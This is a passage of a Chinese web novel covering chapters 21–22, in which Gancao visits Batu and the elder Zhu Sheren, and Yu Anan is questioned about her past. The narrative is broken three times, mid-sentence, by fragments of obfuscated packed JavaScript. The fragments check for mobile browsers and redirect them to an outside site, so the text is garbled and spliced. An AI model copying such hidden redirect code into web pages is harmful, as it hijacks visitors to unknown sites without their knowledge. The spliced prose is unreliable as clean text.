“甘草妹妹。”巴图看着低垂着头不敢看他的甘草,目光变得怜悯,过了一会儿,他叹息着收回手帕,“我和舍人其实没想到你是因为这个原因才不到滇云来。” 甘草抬头看他。巴图想了一会儿,才开口,“我们并不知道你一直记着五年前说的话,其实我和舍人并没有放在心上。” 巴图认真说着,抬起手想摸摸甘草的头,却又不知为何最后收了回去,目光露出同情和怜惜,“很多事情我现在没办法和你说清楚,以后有机会再和你说。你只需要明白一点,五年前的事,不只是因为你的承诺舍人才帮你们的。” 甘草:“…”表示不理解。 巴图大概也知道她很多事都不明白,很认真道:“舍人有仔细考察过你们家,所以选择了你们当合作伙伴。原本我不能说这些事,可我没想到你会因此愧疚。” 说着巴图更加怜惜她,“去年你发生的事,我和舍人都听说了,具体什么情况我们不了解,但我知道你肯定不会拿人命开玩笑。” “所以你不用背负那么多不该你承受的东西。让自己开心点好吗?” 泪水模糊了甘草的视线,甘草点点头,说不出话来。 巴图能告诉她这些,甘草已经很感激了。 没想到这一年来,却是巴图这个并不是很熟悉的小伙给了她无限的勇气和安慰。 甘草不知道怎么报答他才好。 他还是那么善良、明知有些事情不能说,却还是告诉了她,只为了让她好过一些,放过自己。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884745|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其实这几年甘草也隐约知道朱家帮助孙家并不是那么单纯的事情,他们肯定有自己的目的。 只是这些事不是他们外人能知道的。 无论如何,朱家最终都帮了孙家。甘草依旧很感谢他们,感谢朱舍人,感谢巴图。 “谢谢你,巴图哥哥。”甘草有些释然道。 最终没有说那些为时尚早的话。 她现在的情况一团糟,还不一定能活着出来呢。 所以没必要早早应承什么。画大饼的事她已经干过一次了,再干就没信用了。 甘草真诚地对巴图道谢,巴图纯真一笑,又好像回到了当年那个帮助了人却不求回报腼腆的大男孩。甘草忍不住也笑了一下。 五年没见,彼此有些生疏了,其实当年甘草也只和巴图相处了几天,并不十分熟悉。 这次见面,虽然说开了,那那份生疏感还是存在。 甘草和巴图聊了一会儿各自的现状。 从五年前朱家帮助孙家在滇云站稳脚跟,之后又帮孙家对付对头方家,彻底让孙家坐上了全国第一药材商的位置后,甘草就基本歇下来了。 因为跑生意,她错过了很多年少时应该做的事,学业也落下了一些,之后虽然空下来,可也回不到无忧无虑的时候了。 这几年甘草没和朱家联系,因为她把自己“卖了”的缘故,其他人都不跟她说朱家的事。 巴图比她情况好很多,大概知道甘草这些年都在京市读书,可惜去年发生医疗事故之后,她的学业基本停止了。 巴图不清楚事情来龙去脉,甘草不愿意再多说,他也就没多问。 这些年,巴图看似有很大变化,其实内里没多少太大变化。 他跟在朱舍人身边,开始学习处理朱家和生意上的事,因此成熟了许多。 聊完彼此近况,巴图看了一眼村路那边,话音一转,严肃问道:“甘草妹妹,你怎么会和榆家的人一起来?” 甘草也看了一眼村路那边,才发现皮开车不知道什么时候停了下来。 旁边一直没敢插嘴的小秦哥适时跟甘草道:“小姐,粽子他们停了好一会儿了,一直没动静。我怀疑是我那车可能出问题了,我去接他们吧?” 甘草看着才一百多米距离的车,心中微微嫌弃。 这么点距离走过来就是,为什么还要人接? 正要说话,就听巴图在旁边道:“不用你们去接。” 甘草惊讶地看向他。巴图严肃道:“是我让他们停下来的。” 甘草听完更惊讶了。 她从头到尾都没看到巴图打电话或者有做出什么停车的举动,粽子他们怎么知道要停车的呢? 巴图没解释,只是正色对甘草道:“榆家和我们家的关系特殊,我只能放榆大小姐过来。” 甘草这才想起刚刚巴图问的话。 “所以你认识榆安安,从我们进村开始,你就知道我们来了,所以你在门口等她?” 巴图点头,“榆家有名有姓的我都认识,只是我没想到你会和他们在一起。甘草妹妹,你是不是和他们合作了?” 巴图的表情太过认真,甘草沉吟。 她不知道巴图说的合作是哪种合作,想了想解释道:“我们两家一直是合作伙伴,这点你应该也知道。不过这次我跟着榆家人来,其实有自己的事情要做。” 巴图等着她继续说下去。 21. 第 21 章 甘草摩挲了一下手指,打好腹稿,全盘托出。 她要求人办事,就不能隐瞒。 “其实具体的事情我知道的不多。我只知道榆家要进药神山找什么神药。我稀里糊涂加入了他们的队伍。” “她想找你家买凤鸡,我本来是想找你帮忙,所以和她撞上了。” 说到这里,甘草直接求助道:“巴图哥哥,我想自己组建一支队伍进山,可我现在找不到那么多人手,所以想找你帮忙。” 巴图听完没有立即回答,他想了一会儿问道:“榆大小姐不知道你想另起灶台?” 甘草脸微红道:“我没敢让她知道,她要是知道肯定会阻拦我的。” 巴图又问道:“你为什么想要另外组建队伍?榆家没有承诺给你们东西?” 见他不反感,甘草松了口气,直言道:“他们答应给我们三成东西,但我不是为了东西来的。我有一个朋友和榆家有仇。他是为了我才加入榆家队伍的。还有就是你知道,我这样柔弱的样子肯定会拖后腿,跟着榆家队伍说不定什么时候就被他们丢下了。我想组建自己的队伍保护我们。” 巴图点点头,又问她:“你有神药的信息吗?” 见他这么平静,甘草忽然意识到巴图好像丝毫不意外榆家找什么神药,竟是问都没问一句神药的相关信息。甘草忍不住试探问:“巴图哥哥是知道榆家要找什么神药吗?” 巴图看着她的目光变得深沉,“甘草妹妹,我不瞒你,榆家要找的东西就是我们朱家要守护的东西。” “我猜他们应该没把事情都告诉你,他们找上你,是想借助你们孙家的势力去找药、保护药。” “甘草妹妹,你最好别跟着他们去。” “为什么?”甘草虽然意外于朱家竟然是守护什么神药的,可更在意巴图这样郑重地让她不要跟着榆家队伍进山。 榆家利用孙家找药显而易见,甘草不意外,说难听点,孙家没有值得利用的价值,榆家不会找孙家合作。 巴图目光移到身后,那里正是药神山的一个山峰。 “甘草妹妹,你知道为什么我们不拦着榆家人进山吗?” 这也是甘草想不明白的,巴图目光放远,悠长道:“因为我们从不相信榆家能找到东西。这些年榆家耗费了无数人力物力,但都无功而返。你知道他们找了多少年吗?” 甘草摇头,可她觉得找了多少年不是关键,试探问道:“药神山里,真的有榆家说的神药吗?”要是没有,那自然是找多少年都找不到的。 巴图侧脸,对着甘草神秘一笑:“找到了就有,没找到就没有。” 甘草:“…” 巴图哈哈大笑起来,仿佛只是和甘草开了一个玩笑,笑完他正色道: “甘草妹妹,榆家在山里折损了不少队伍,所以他们这次才会找外力帮助。你跟着他们,肯定会遇到很多危险,所以最好别跟着他们进山。” 甘草连连点头,“你能帮我们组建一支队伍吗?我跟在他们后面走一趟就算有交代了。” 巴图眼眸多了几分笑意,“你想捡漏?”手里没有神药信息,她不可能自己找到东西。 甘草立即义正严辞:“我是跟在后面保护他们。” 她自己带队进山要么弄到榆家手里的信息,要么跟在榆家屁股后面捡个漏。 可如果压根没有神药,她就输陪着走一趟,对孙老头和榆家都有个交代。 巴图笑起来,笑完又道:“抱歉,这件事我不能帮你。” “为什么?”甘草就没想过巴图会拒绝。 以朱家的势力,还有在本地的人脉,帮忙组建队伍轻而易举。 甘草想不到巴图拒绝的理由。 巴图认真道:“朱家祖上有训,不能进山找神药。也不可能帮助外人找。所以很抱歉,其他事都好说,只有这件事我不能帮忙。” 甘草听完表示理解,却还是如霜打的茄子一样耷拉了肩膀。 她费尽心思跑到朱家这里来求助,却没想到惨遭滑铁卢。 “那巴图哥哥,你还有没有什么好的建议,或者保命的法子交给我?”甘草之差泪眼汪汪地看着巴图了。 她一个南方长大的姑娘跑去雪山,实在没把握全须全尾地出来啊。 她还有两个小伙伴呢,这可怎么办? 甘草愁得脸都变成了苦瓜样。巴图挠挠后脑勺,正要说些什么,忽然被一阵电话铃声打断了。 小秦哥接通电话没一会儿,就将电话递给巴图。 “榆大小姐说要和你谈一谈。” 巴图面不改色,接过电话,这时甘草才注意到榆安安不知道什么时候下了车,走了挺远打电话,看起来是不想让车上的人听到她说的话。没多久,巴图忽然拿着电话大步往大门方向走,甘草目送他进去。 “甘草妹妹,我去见见舍人,待会儿出来再聊。” 巴图丢下这句就进了自家院子,甘草心想:榆安安说的事应该挺重要的,否则不需要再请示朱舍人。 等他一走,甘草心不在焉地摸着下巴,忽然问道,“小秦哥,你有没有觉得巴图哥哥有点不对劲?” “有吗?我没看出来。”小秦哥和巴图不熟,只见过几面。和朱家的往来都是他哥。 “那可能是我多想了。”甘草没再多想,放下手。 五年没见,虽然现在的巴图和自己记忆里那个纯真热烈的少年巴图确有些不太一样了,但人都会变化的,不一样才正常。 可即便这么想着,甘草还是隐隐觉得哪里怪怪的。好像有什么东西被她忽视了。 在巴图还没出来时,粽子他们先开车过来了。 粽子跳下车,揪住她的脸颊往两边扯,先教训了她一顿,接着又问她和巴图的关系。 这时甘草才恍然大悟,巴图和五年前不一样的是少了几分少年时的热烈。 就是不知道是因为成长变得成熟稳重了,还是因为五年过去,不再那么喜爱她了。 甘草想不出答案来,也就不纠结了。 喜欢她还是不喜欢她,现在都没那么重要了。 一来巴图说没把五年前的事放在心上。甘草可以放下了。 二来她都哭进药神山了,说不定就出不来了,喜不喜欢还重要吗? 不过粽子得要刨根问底,甘草敷衍道:“我们就是纯洁友好的朋友关系。” “真的吗?” “不然呢?”甘草对着不信任的粽子道,“我们要是有什么,我还能站在外面跟你们说话?” “也是。”粽子被说服了,笑着拍拍甘草的头顶,“我们在那边看了你们半天也觉得奇怪,你和人家说了半天话,人家既没请你进门,也没什么亲密的举动,看来确实如我们所想,你卖身没卖出去。” 甘草:“…” 晃了晃脑袋,“烦死了,你别和我说话。” 事情没办成,还要被粽子他们笑话,甘草一点心情都没有了。 这时小秦哥看巴图还没出来,神神秘秘问粽子:“粽子,你们之前怎么忽然把车停了下来?” 甘草也奇怪这件事好奇,抬头看粽子。 “你们什么都不知道,还敢往里闯?”粽子吃惊地说,他气笑了。 甘草和小秦哥异口同声道:“我们没闯。” 甘草道:“我们就是正常行驶,怎么能算闯呢?” 粽子无语地盯着他们,过了一会儿,他掰着甘草的肩膀让她转身面向朱家,指着墙垣后面院子里的几颗香樟树:“看到了吗?那些树后面有个瞭望台,那上面有人拿枪对准我们,你说我们为什么停下?” 甘草看着那树后面拿枪的人倒吸一口凉气。 她一路上过来都没发现瞭望台上有人。 因为被树挡住了视线,且五年前过来时,她和她爸都没发现那瞭望台上有人。 不就是上门求助,至于弄这么大阵仗吗。 “可是不对啊,我们靠近了朱家也没事啊。” “白河说枪没对准你们,只对准我们。”粽子面色古怪道。 甘草转身,就对上了白河看向她的平和冷清视线,他好像一直看着她,从下车观察了朱家环境后,视线就一直落在她身上。 甘草能感觉到,只是不明白为什么。 总不能是关心她吧? 不过看着白河的冷静视线,甘草觉得就算是闯了朱家,她可能也能全身而退。 不知道是不是因为被白河救过,甘草觉得自己对他有种奇怪的可以说盲目的自信。 “咳咳…帅哥也来了。” 闻言,大家看向甘草的目光都变得奇怪起来,粽子更是直接凑到甘草面前看她的眼睛。 “棒槌,你眼睛被眼屎糊住了?他那么大个人,一直坐车上,你没看见?” 甘草恼羞成怒推开粽子。 她能没看到白河这么大一个人吗! 说来奇怪,每次看见白河,就发现不注意他时,他就跟空气一样不惹人注意,一旦视线落在他身上,就有点移不开视线的感觉。 好在甘草不受美色所惑,每次都坚定地移开目光。 这次甘草发现白河和秀姐站在一起,奇怪的是他们中间隔了半米多宽的距离。 两人不是情侣吗?怎么还这么避险? 甘草想不通就不想了。她看着白河,就想起昨天晚上包括今天不久之前在厨房见到他的场面。 她觉得很窒息,不知道怎么面对白河,所以打了个招呼缓解尴尬,可惜都被粽子搅合了。 “行了,我不跟你多说。” 甘草倒是没想到白河视力这么厉害,不仅能这么快发现瞭望台的情况,还做出了精确的判断。 还真是要感谢白河的救命之恩,毕竟粽子也在上面,还是开车的。巴图要是让人开枪,他可能就变成窟窿粽子了。 就是甘草没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890719|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到巴图现在变得这么凶残,让人伏击他们。 哎?甘草想到这里,看向榆安安,榆安安是用了什么办法让朱舍人放他们几个过来的? 对上她的疑问视线,榆安安冷酷一张脸,没搭理她。 甘草:“…”这家伙绝是生气了。 虽然不知道为什么,但甘草很确定。 “不是,榆大医生,你自己有这么大的面子,为什么还要拉着我来采购什么凤鸡?” 榆安安冷冷看着甘草,表情顿了顿,旋即说道:“我不确定。” 又道:“你要是不先跑,我们没必要追你,跟着你,我们能直接过来,不用被拦在半路上过不来。” 甘草:“…”合着还怪她了? 不过有她在,巴图可能真的不会开枪,怎么说也有点面子情谊,不至于一枪打死她。 . 朱家墙垣高约三米,挡住了甘草等人窥探的视线,在大门外观察了没多久,巴图出来请甘草和榆安安进去,其他人只能在外面等着。阿七有些担心榆安安,想要跟进去,被榆安安制止了。 “你们在外面等我,有事我会叫你们的。” 榆安安丢下一群人进去了,巴图还了小秦哥电话,跑到前面带路,甘草看看大家,也小跑跟上去了。 反正现在大家不担心甘草了。看她那样子,应该能活的很好,反而是榆安安情况不定,说不清旦夕祸福。 进了朱家,甘草就眼咕噜转着,打量四处。 一座座古堡式碉房,墙面斑驳,都是了l岁月留下的痕迹,很多地方都是不断修补过了的。 甘草总觉得这些碉房好像有特殊的规律。 可她看不出其中门道,于是下意识记住了这些碉房的排列情况。 走了没久,甘草的注意力就被道路两边开垦出来的药草圃吸引了注意力。 巴瓦村在药神山山脚下,耕地面积不多,多是山林草地。 普通人家只有少许耕地,大多数时候还是养牛羊,放牧。 朱家的耕地面积也很小,东一块西一块,反正能种东西的地方基本被利用了起来。 比如甘草就看到不远处十几平的地方被种了蔬菜。 还有一些地方种了水果。 住在这里应该吃穿不愁了。 为了照料这些耕地,朱家还在没处地方修了蓄水池。 可见财力人力。 上了一个台阶,甘草眼尖地看到旁边药圃里种了一株人参。 比麻花辫还粗壮的人参像是躺在一片沙地里的珍珠,散发出的光芒吸引了甘草的注意力,让她不管不顾跑了过去。 “哇——好大的山参!”甘草扑到人参面前,万分珍惜地摸了摸人参的叶子和露在地面外的根茎。 一阵风吹火,人参瑟瑟发抖,甘草却双眼放绿光。 “八十年长白山野参,移植过来有四十多年了吧。” 甘草捧着老参用力一嗅,“好香,炖鸡肯定很好吃。” 甘草舔舔唇角,没出息地流下垂涎的口水。 榆安安没眼看,走过去揪住她的后衣领就把甘草拖出了药圃,“孙甘草!有点出息!” 甘草看着那老参离自己越来越远,叹息道:“我就看看,又没挖。” “你还想挖?”榆安安一把将她推到自己前面,“你走在我前面。” 免得控制不住手挖人家的老参。 甘草唉声叹气,对前面的巴图道:“巴图哥哥,你家要是想卖参了,就找我,我肯定开最高的价钱。” 巴图都快被她吓死了。 他一个没注意就被她窜进了药圃里,生怕她直接把那参挖了。 “甘…甘草妹妹,那…那参是…是我们园…不是,是我们舍人的宝贝,你可别想挖走它。” 甘草严肃点头:“我就看看,看看,嘿嘿。” 一看她露出垂涎的笑容,巴图就觉得自己要看紧了她,刚刚他都没注意到她怎么那么快就跑进药圃里了。 失策失策。 巴图还要说些什么,就被一道中气十足但粗犷的嗓音打断。 “巴图,你别管她,让她去摸,摸完把手砍了,和鸡一起炖着吃,肯定比人参香。” 三人被这道凶神恶煞的声音吓了一跳,忙抬头望去,就见上面一块菜地里站着一个魁梧高大的大汉。 戴宽檐大毡帽,络腮胡子把下半张脸都挡住了,看起来有些豪迈不羁。 眼睛深邃幽黑,铜铃一样瞪着甘草。皮肤呈古铜色,浑身散发雄壮的气息。 一看就不好惹。 甘草一眼认出这人就是五年前数面之缘的朱舍人。 再次相见,这老头竟然丝毫不显老。 按理他应该比孙老头大,据说当年参军时就是个大小伙了,几十年过去,算一算应该至少六七十岁了。 可他依旧像个壮硕的青年,浑身上下竟然看不出丝毫老态。 22. 第 22 章 甘草很像问问老朱是不是也成精了。 不过这老头凶起来比孙老头吓人多了,甘草不敢真的问出来。 “朱伯伯,我就是…就是表达一下对你们家人参的喜爱。” “几年不见,你倒是学会了油嘴滑舌。”朱舍人眼里闪过嫌弃,“快去洗洗你那张脏脸吧,老子看得眼疼。” 甘草嘿嘿一笑,走到旁边的水池洗脸,目光却不着痕迹地从指缝里打量朱舍人和榆安安。 从发现朱舍人后,甘草就注意到朱舍人虽然在跟自己说完,但余光都落在榆安安身上。 现在她一走,朱舍人更是堂而皇之地打量榆安安。 从上往下,又从下往上,仔仔细细地打量。最后他目光落在榆安安左眼下的泪痣上。 彷佛回忆起什么,神色变得悠远。 “舍人。”巴图见他愣神,喊了一声。 朱舍人回神,想起正事。 “跟我来吧。” 这句话是对榆安安说的,眼见着榆安安跟着走了,甘草麻溜地洗好脸小跑跟了上去。 榆安安能进朱家门,肯定有缘故,甘草好奇是什么缘故,连带着她也跟进来。 “你叫安安?” 朱舍人将手里刚拔的萝卜丢给巴图,走到那菜地旁边的水池前洗手,转头问榆安安。 榆安安冷酷的气质收敛,低眸回话,“是,晚辈姓榆,名安安,是湖湘榆氏人。” 朱舍人不耐烦摆摆手,盯着她的脸问道:“今年多大了?什么时候出生的?” 榆安安顿了顿,回答:“二十六岁了,六五年四月二十六日出生的。” 朱舍人盯着榆安安的脸看了许久,语气听不出其他情绪,“知道你的名字是谁给你取的吗?” 榆安安停顿了两秒,回答:“听巧姨说,我的名字是妈妈在我出生时就取好了的,是个小名。后来我意外流落在外,妈妈找回我后,就没改名字,说这个名字就很好,国泰民安。” 朱舍人听完走神了大约两秒,等回过神,他擦干净手,背着手往旁边的石桌走去。 “听说你是七年前被找回来的?” 榆安安垂首,忙跟了上去。 “是,之前在湖湘一个叫流云山的避世的大山里生活,后来才被母亲找回。” “就是这个叫巧姨的照顾你?” 被朱舍人问及以前的事,榆安安停顿了一秒。 “照顾我的是一对很好的夫妻和一个巧姨,我回榆家前,秦伯,也就是照顾我的夫妻生病去世了,后来巧姨也忽然离开,我现在也不知道她在哪里。” “倒是巧。”朱舍人意味不明地说了一句,继续问道:“榆辛夷是怎么找到你的?你的医术是跟谁学的?” “医术以前是照顾我的秦伯教的,他当时病得很重,去世前告诉我,他通知了榆家人来接我,后来我才知道我是母亲的孩子。” 听榆安安一五一十地交代自己的身世,甘草忍不住唏嘘。 大概六年前,榆辛夷夫妻忽然带着榆安安到医院,宣布他们还有哥女儿。至于这个女儿是怎么回事,他们只说是养在外面,近期才接回。 其他情况,外界人一概不知。甘草那时候还听人议论过,有人说榆安安是捡来的,或者亲朋的孩子,原因是榆安安和榆辛夷夫妻包括她的双胞胎弟弟长得都不大像;也有人说榆安安可能只是因为某些原因,被养在国外或者其他亲戚家,原因是榆辛夷夫妻对她比对她弟弟还好。 但无论哪种猜测,都没人想过榆安安是被带到大山里去了。她是被人拐走的?还是有什么其他原因? 想着这些事,甘草看榆安安的目光就流露出同情。 因为朱老头走得慢,害得跟在后面的榆安安和甘草也只能慢悠悠地散步。 明明和石桌不远的距离,走了半天才到。三人到石桌前各自找空位落座。 朱舍人看到她,才想起来她似的。 “你这丫头怎么也跟过来了?走远点,去给老子拔萝卜。” 甘草现在很好奇榆安安的身世,不想走,很诚恳地道:“您放心,我半截身子都快入雪山了,最近听力视力都有所下降,不影响你们谈话的。” 朱舍人:“...” 不知道是不是真的不在意她在这里听,没管她了。 榆安安竟然也没管她。 “那两个照顾你的人,在榆家人接你之前,没告诉过你的身世?”朱舍人道。 甘草竖起耳朵认真听。榆安安摇头,“他们从不谈论这个,只让我好好学习医术,说我以后会知道的。” 甘草机灵地发现朱舍人准备提桌上的茶壶,忙先一步提起来,给三人都倒了一杯茶。 倒完问站在朱舍人身后听候差遣的巴图:“巴图哥哥,你要喝茶吗?” 巴图对着她无奈摇头,甘草见他不喝茶,便自己捧着香茶品。 还没喝,她就闻出这是今年清明前后采的来自四川蒙顶黄芽,名茶中的极品,甘草喝完一杯再续一杯。没想到朱舍人也爱喝蒙顶黄芽,倒是和她喜好有点相似。 “榆辛夷对你好吗?”问了一个风牛马不相及的问题。 榆安安毫不迟疑地回道:“爸妈都对我很好,我很感谢他们。” 朱舍人笑了笑,以上位者欣赏后来者般说道:“你很聪明。” “您谬赞了。” 榆安安说完,端起茶杯敬了敬朱舍人。朱舍人似乎心情不错,哈哈大笑起来。甘草坐在他们中间听他们打哑谜,压根听不懂。 余光忽然注意到朱舍人身后的巴图抓耳挠腮,脸色有些急躁,电光火石之间,甘草忽然想到什么,顿时开怀了。 于是,她端起茶杯遥遥敬了敬两人,一饮而尽。 朱舍人被她如牛饮水的粗鲁动作吸引,嫌弃地瞥她一眼,“怎么,榆家找药,你们孙家也掺和进我们族里的事了?” 甘草想着刚才榆安安说的,灵机一动,脸色板下来,老老实实讲述:“晚辈一岁前的记忆没有,听村里人说,我是一岁的时候被老孙带回村,老孙对我很好。” “晚辈也不知道自己妈是谁,前段时间我被榆大小姐叫回湖湘让我搞什么采药集训,回家后,老孙就逼着我来了。” “我也不想来,唉,我还什么都不知道。” 朱舍人:“…” 被学的榆安安:“…” “噗嗤——”旁听的巴图没忍住笑了出来,朱舍人抖着嘴唇好半天没说出话来,过了一会儿,他才吹胡子瞪眼,没好气说:“滚滚滚,老子就不该多嘴问你。” 甘草也瞪眼,“您怎么能区别对待呢?” “老子就区别对待了怎么地?” 甘草不服气,但没再多犟,她反正也就随便提了一下,没真的指望什么。 “朱老。”榆安安适时拉回正题,“您既然知道我们是来找药的,能不能给我们凤鸡,让我们这次行动顺利点。” 朱舍人无情道:“一支人有一支人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895377|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规矩。你们榆家不按规矩办事,跑到我们的地盘来了,我没赶你们走已经算是网开一面了。” “朱老。”榆安安着急了。 朱舍人打断她,毫不留情地说,“你看看榆辛夷,她找了神药多少年,每次安排人进山,有没有哪次敢来我朱家讨要凤鸡的。” “行了,事情说完了,你们可以走了。” 甘草正准备离开,却见榆安安坐在位置上不肯走,心想凤鸡可能还挺重要的,既然她现在和榆安安绑在一块了,那就也出份力。 求情行不通,那就反其道而行之。 甘草学着粽子气死人不偿命的样子道:“您看看您,一天到晚拔萝卜,又没什么要紧事。” “再怎么说,我们都是晚辈。入了您家的门,您也不说留饭,我们肚子饿了。” “老子为什么要留你们吃饭?滚回你们客栈吃饭去!” “您看您,又发火。儒家有言,老吾老,以及人之老;幼吾幼,以及人之幼。老孙经常说您有文化,但我看您现在这样真该让他看看,说不定会骂您一句失礼,失德,比他还糊涂。” “我想吃鸡鸭鱼肉,您让人给安排晚饭吧,最好用你家的百年老参炖,那个味道好。” “还有,我想喝果汁,吃完肉解腻。” “弄好了给我们端到这里来,这里吃饭肯定很舒服。” 朱舍人、巴图、榆安安:“…” “老子什么时候说请你吃饭了?”朱舍人瞪着眼睛,最先反应过来,他怒拍桌,指向门口,“出去!” 甘草嫌弃地站起身,撇朱舍人一眼,“知道你舍不得你那些鸡鸭鱼肉和老参?小气鬼。家大业大还比不上我们家。我家一年三百六十八天,天天吃人参炖鸡。” “…”一年三百五十六天,哪里来的三百五十八天?那两天是找老天爷借的? 朱舍人胡子一颤一颤的,很久没被人这么忤逆鄙视过了,气得喷出一口热气。 甘草一步一个脚印,鄙视道:“你就吃一辈子萝卜吧,当人参安慰安慰自己,要是鸡也没有,用不用我家给你送两只来?” 朱舍人脸色青了红,红了青,捂住胸口,指向后面山林,“巴图,去给老子捉只凤鸡来,再把老子那百年老参拿来,老子今天就要吃人参炖鸡!” 巴图:“…”无奈地看看走远了又停下来的甘草,再看看气得胸口剧烈起伏的朱舍人。 摇摇头,转身去办了。 甘草眼睛一亮。 “你又坐回来干什么!” 见甘草又蹿回去坐着了,朱舍人捂着胸口更生气了。 甘草笑眯眯看着他,“我见识见识一下你们家的老参,看是不是比我们家的好。” 朱舍人无语地望着她。 榆安安眼里闪过一丝精光,趁机从口袋里拿出一个香囊,“这是晚辈给您的礼物。” 朱舍人看也没看,直接揣兜里了。 甘草动了动鼻子,闻到驱蚊药材里含有...一丝纸墨香,目光若有所思。 不多时,巴图让人拿了老参拿来,甘草眼睛放光,饶有兴致的伸手去摸,被朱舍人一把拍开手,让人扯了一截须拿去炖鸡。 甘草:“…” 又过了一会儿,甘草看到巴图抓来一只漂亮的大公鸡到水池边,那大公鸡长得是真的漂亮,毛色鲜艳光滑,精神抖擞,鸡冠鲜红如血,眼睛尤其有神采。 眼看巴图举起刀要割破鸡脖子,甘草立马大喊:“慢着!”